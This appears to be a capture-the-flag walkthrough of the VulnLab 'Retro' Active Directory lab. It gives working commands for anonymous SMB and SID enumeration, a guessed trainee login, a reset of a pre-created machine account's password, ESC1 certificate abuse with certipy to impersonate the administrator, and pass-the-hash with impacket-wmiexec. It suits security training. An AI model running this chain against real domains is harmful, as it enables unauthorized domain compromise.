RETRO VULNLAB - WRITEUP

This is the Write-up/Walkthrough of the RETRO Active Directory Machine from VULNLAB.

Note: IP is changed in some commands because stopping and starting the machine again gives new IP every time.

NMAP SCAN:

                        text
                        
                    

                    53/tcp   open  domain        syn-ack Simple DNS Plus
88/tcp   open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2023-08-14 18:32:06Z)
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.retro.vl
| Issuer: commonName=retro-DC-CA/domainComponent=retro
SNIP
445/tcp  open  microsoft-ds? syn-ack
464/tcp  open  kpasswd5?     syn-ack
593/tcp  open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
 
3268/tcp open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.re
3269/tcp open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: retro.vl0., Site: Default-First-Site-Name)
 
3389/tcp open  ms-wbt-server syn-ack Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: RETRO
|   NetBIOS_Domain_Name: RETRO
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: retro.vl
|   DNS_Computer_Name: DC.retro.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2023-08-14T18:32:48+00:00
 
|_ssl-date: 2023-08-14T18:33:28+00:00; +2s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
 
Host script results:
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 12722/tcp): CLEAN (Timeout)
|   Check 2 (port 26063/tcp): CLEAN (Timeout)
|   Check 3 (port 31296/udp): CLEAN (Timeout)
|   Check 4 (port 53820/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
|   date: 2023-08-14T18:32:49
|_  start_date: N/A
|_clock-skew: mean: 1s, deviation: 0s, median: 0s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

                

Domain: retro.vl, BIOS Name: DC

Looking for smb share found, there is trainees share only allowed to read without credentials.

found Important.txt file on Trainees share, saying.

text

Dear Trainees,
 
I know that some of you seemed to struggle with remembering strong and unique passwords.
So we decided to bundle every one of you up into one account.
Stop bothering us. Please. We have other stuff to do than resetting your password every day.
 
Regards
 
The Admins

Message saying that everyone is struggling with strong and unique passwords. so, Admins assign everyone to one account and maybe gave an easy password?

Enumerating users using impacket-lookupsid or lookupsid.py as anonymous user and blank password.

                        text
                        
                    impacket-lookupsid anonymous@10.10.81.153

Users found:

text

trainee
BANKING$
jburley
HelpDesk
tblack
krbtgt

As said in the Important.txt, tried to authenticate to smb with “trainee” username and password “trainee”, now i can read Notes Share.

Logged in using smbclient and downloaded ToDo.txt file

                        text
                        
                    smbclient //10.10.115.87/Notes -U trainee%trainee

Notes saying:

                        text
                        
                    Thomas,
 
after convincing the finance department to get rid of their ancienct banking software
it is finally time to clean up the mess they made. We should start with the pre created
computer account. That one is older than me.
 
Best
 
James

Looking at the message found that, they talking about pre-created computer account, looking up on google about “pre created computer account” found this blog, which explains and shows how to abuse pre-created computer accounts.

I already found BANKING$ machine account, I tried changing the password of the machine account.

Using changepasswd.py to change the password of BANKING$ machine account with an alternative username and password, and setting the new password for BANKING$ machine account.

                        text
                        
                    python3 changepasswd.py retro.vl/banking$:banking@10.10.81.153 -altuser trainee -altpass trainee -newpass hacker@123

It works, and the password got changed for BANKING$ machine account.

after that, I tried using bloodhound-python using trainee and machine account user, but it was showing a DNS error, looking forward, enumerating for certificates using certipy.

                        text
                        
                    certipy find -u 'banking$'@retro.vl -p hacker@123 -dc-ip 10.10.115.87

text

cat 20230815033909_Certipy.txt

I found that “RetroClients” certificate is vulnerable for ESC1, as I am authenticating it as a Computer account, and I have Enrollment Rights.

                        text
                        
                    

                    Certificate Templates
  0
    Template Name                       : RetroClients
    Display Name                        : Retro Clients
    Certificate Authorities             : retro-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Client Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 4096
    Permissions
      Enrollment Permissions
        Enrollment Rights               : RETRO.VL\Domain Admins
                                          RETRO.VL\Domain Computers
                                          RETRO.VL\Enterprise Admins
      Object Control Permissions
        Owner                           : RETRO.VL\Administrator
        Write Owner Principals          : RETRO.VL\Domain Admins
                                          RETRO.VL\Enterprise Admins
                                          RETRO.VL\Administrator
        Write Dacl Principals           : RETRO.VL\Domain Admins
                                          RETRO.VL\Enterprise Admins
                                          RETRO.VL\Administrator
        Write Property Principals       : RETRO.VL\Domain Admins
                                          RETRO.VL\Enterprise Admins
                                          RETRO.VL\Administrator
    [!] Vulnerabilities
      ESC1                              : 'RETRO.VL\\Domain Computers' can enroll, enrollee supplies subject and template allows client authentication

                

Requesting certificate for Template “RetroClients”, for Administrator **UPN(User Principal Name) and setting key-size to 4096**, as mentioned “Minimum RSA Key Length”.

Note: Make sure you added dc.retro.vl and retro.vl to /etc/hosts file.

                        text
                        
                    certipy req -u 'banking$'@retro.vl -p 'hacker@123' -c 'retro-DC-CA' -target 'dc.retro.vl' -template 'RetroClients' -upn 'administrator@retro.vl' -dns 'dc.retro.vl' -key-size 4096 -debug

After getting the pfx file (private key), used certipy to authenticate to DC using the private key.

                        text
                        
                    certipy auth -pfx administrator_dc.pfx -dc-ip 10.10.104.45

After Entering command, It asked to Select “UPN” or “DNS Host Name”, selected UPN by entering 0, and got the hash of the administrator account, after that, I tried logging in to RDP using PTH method, but blank password login was not allowed after that tried also evil-winrm, it was also not responding, but still I have many other options to login to administrator account using the hash.

Used impacket-wmiexec to log in as administrator using the PTH(PASS THE HASH) method, and got shell as administrator.

                        text
                        
                    impacket-wmiexec administrator@10.10.104.45 -hashes aad3b435b51404eeaad3b435b51404ee:252fac7066d93dd009d4fd2cd0368389

RETRO VULNLAB - WRITEUP

Related

Contents